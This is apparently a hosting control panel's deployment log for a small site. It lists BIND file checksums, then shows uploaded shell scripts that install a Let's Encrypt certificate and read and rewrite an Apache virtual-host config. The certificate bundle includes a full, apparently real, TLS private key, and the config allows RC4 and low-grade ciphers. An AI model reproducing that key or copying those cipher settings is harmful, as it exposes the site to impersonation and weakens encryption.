MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-09-06 06:00:02: Establishing a connection
2025-09-06 06:00:02: Establishing a connection
2025-09-06 06:00:02: 

PUT: /tmp/pkp553723

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-06 06:00:03: 

chmod 755 /tmp/pkp553723; /tmp/pkp553723; rm /tmp/pkp553723

2025-09-06 06:00:03: 


0


2025-09-06 06:00:33: Establishing a connection
2025-09-06 06:00:33: 

PUT: /tmp/pkp643482

#!/bin/bash
temp_file=$(mktemp)
TARGET=277b862c622fb9fa5d441c9959ff5ee3.crt

cat > $temp_file <<'endmsg'
c7:6e:58:27:ca:ab:b1:a4:80:61:de:0c:4b:45:8d:fc

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBZ9yQkfjJga3m9curHklTTxgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTA2MDUwMjAyWhcNMjUxMjA1MDUwMjAxWjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDDENg8L7pxLwaf54HdmDlDfajD/8aZP9b4tgeOwNIu3nRGP93m
GyBojYul4BNLLK7/Yho8BfCTyrjN2cRogJurad6GedseqBWi436B+ZLMUHAiwQXr
D4eZKXoYmsBdAb++Yfi0ptivVgx6XasPE2C2cG+gC/J6MBs7BaBGBu/HTawpzFjk
1DqnI+jyjOHLN4lvKy/N1PkJFjb+y3h24K5B6ftQvi7IPsH0Dzq6srs2S/A1saBe
bGptvesOwN4CqMfz/Oo8/rI+Br1dKqiq5ioJjNOlCf7jdSoAmp7EHjV3Foz18yJv
z1N5YiMhU+znyRDGGX7D3AZSuU0gSIv9ZdkvAgMBAAGjggIoMIICJDAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFI3GKh8j8w1tl9djL4tXhSkSC0RLMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYdm90ZS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOTcuY3JsMIIBBAYKKwYBBAHW
eQIEAgSB9QSB8gDwAHYA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AA
AAGZHZyz5gAABAMARzBFAiEAgHp+ErC16ODG0OUSHp0w/wpe5B6G1yw8npXJQXnj
W4MCIFrxiAuwIKzYRFOSO2POmYRZQi+GzDqGwE3hPcDs0Y0ZAHYAEvFONL1TckyE
BhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZHZyz6AAABAMARzBFAiEAp+N2dC46
Zgy43xf8o6Oy+M25EfoaBOp1DAgIbwGAEJQCIAQiUy6YCF6rrvvQShxkN+9rcAls
qOZecJLvGwXZvWfwMA0GCSqGSIb3DQEBCwUAA4IBAQCgZLqaVMYUe+ZkwsbyFFAZ
yrw8xLnorHNs7tuASzbQoQjMGgdFA8MuYtfcZewycM4z6nWW2wk2L42m9BNuaYc6
8ULqAGnDJ3xx1h8pwc1psOqStxK4gYGhe86x3npqHCTZ6zWjtbVDKFp6Z8dS0VD+
+brta/nVwDArio4C1C0BXVwM5P6LXc5OhGumGHMDg3TcYzYnQalsevG0vBAfAq5s
TGbytylKrypuDGZ03RtqFQJ5z3vF8P9vJvRS7w9PmxviVoV4alrvVkUKeFQLjLq1
7+noCJL24K2bhyPV9UyzXcJlIeoR8NLoYbiFCJkHSRhwAGuNMeGRndukRQGsLlAJ
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDDENg8L7pxLwaf
54HdmDlDfajD/8aZP9b4tgeOwNIu3nRGP93mGyBojYul4BNLLK7/Yho8BfCTyrjN
2cRogJurad6GedseqBWi436B+ZLMUHAiwQXrD4eZKXoYmsBdAb++Yfi0ptivVgx6
XasPE2C2cG+gC/J6MBs7BaBGBu/HTawpzFjk1DqnI+jyjOHLN4lvKy/N1PkJFjb+
y3h24K5B6ftQvi7IPsH0Dzq6srs2S/A1saBebGptvesOwN4CqMfz/Oo8/rI+Br1d
Kqiq5ioJjNOlCf7jdSoAmp7EHjV3Foz18yJvz1N5YiMhU+znyRDGGX7D3AZSuU0g
SIv9ZdkvAgMBAAECggEBAKpKQUvBqvT2RcVA+Ol3473crIF3AGx3A/eaCd0Azjym
bUGKrfAdDFzZ/OixRoahGqDOhvKRiOWs20qx6roEVGH/iYlCRh1sRX8vNRjIxPPi
4RImCkGcDBeU0wc5yecoCLlulA05fv8Kktgcf6Iom4yJeZlx9Jvg9VTAY5veoGMP
EB56zwQIKy8d5xSouSMZ2w7ihW/xfbGrDzc1VluuaUazwzOlOXgn/aOvtP0P2Pki
NoEVcXYKSKr4Wp80ABgWYNWu9z/e1DzNSco0k9gsVCBye8uC95ZJlugJI/Gklff9
PDJxKi8doslTiYyzWfN3VSMc4L4TmSO/m2VADFV7A1kCgYEA654pSCIicYCfHEcz
7BBJqS4Nq/tT5W7nc3mBHLT/ItnTMF//TVBOgSXL33OHsVKh90c4jOxT3SIlCLfb
ztw2YW6yZHvRtge0ZAr2stu2/Ovcn7kBEn5bkY0fZPsOqJynYYWlgDMbgfbk/tTQ
4gMIhJsxLOxV0ZteIvXYpvg1bW0CgYEA0/ClE6f/rVAyyjJnBjAvB1FmYFnM2p5j
yqpOOxbBKIPW+k0es6lJKHYb+lWYO/6z27LAfuBfDJJP7dq03Oj3DC8/SYvduAST
g1NYx9tz3haVovdEVeKAchfDP1tsiomQySvGSTl32NWsRt0GhwtH5hAdNF0xtDGC
5Kn0P3hWy4sCgYAnW0TkAqekM+rf61jV7qaPNt0bxCBwa4UHud0CMY2IgcAQDYj0
nhxu4CRcz8xzpyzcxC3DBFrBzklHWobB1/DRd48ez7vo3wKXz2kD2UWIm9E/cMSo
FSkwd9Utpe395iTjWlKZxm+q1tXLZzr49a6/j7i4G0X+fChOSKiGw2ERRQKBgQCt
lta+aMWDgMJ41huH+AMs7UD6/dJJ5Z06q47z2slOk92KmYvh/2/KUiLMQTs1OIK8
GYaM5N01AMmyuYWVwsJGGpSten+ZbzYbRDLdTyNx7fGVzw0Lgz9NM6VZyVn3hoEu
JEp+QzGkSi6WxAXKqjSzfNNOxl4lhr/85i8FpV0BzQKBgQDOwqh7sg/VfQrpxTqW
6TSYL+GsG9P063KElyj90ybCmCDM+Gl4g1xirkKy7rX380OiMfPPKdn239HYroug
WU/UXXS8Lnf6kR2glUR3e174yWCUyKQDRCRnDLmwa8I0oqMnjB3HoYyq+sbLTzOG
ttAI8+X++Y+BRSPPpwzalk0j2Q==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-06 06:00:33: 

chmod 755 /tmp/pkp643482; /tmp/pkp643482; rm /tmp/pkp643482

2025-09-06 06:00:33: 


dir=/etc/ssl/certs


2025-09-06 06:00:33: 

PUT: /tmp/pkp541746

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-06 06:00:33: 

chmod 755 /tmp/pkp541746; /tmp/pkp541746; rm /tmp/pkp541746

2025-09-06 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf 48

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-06 06:00:33: 

PUT: /tmp/pkp295928

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_vote_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
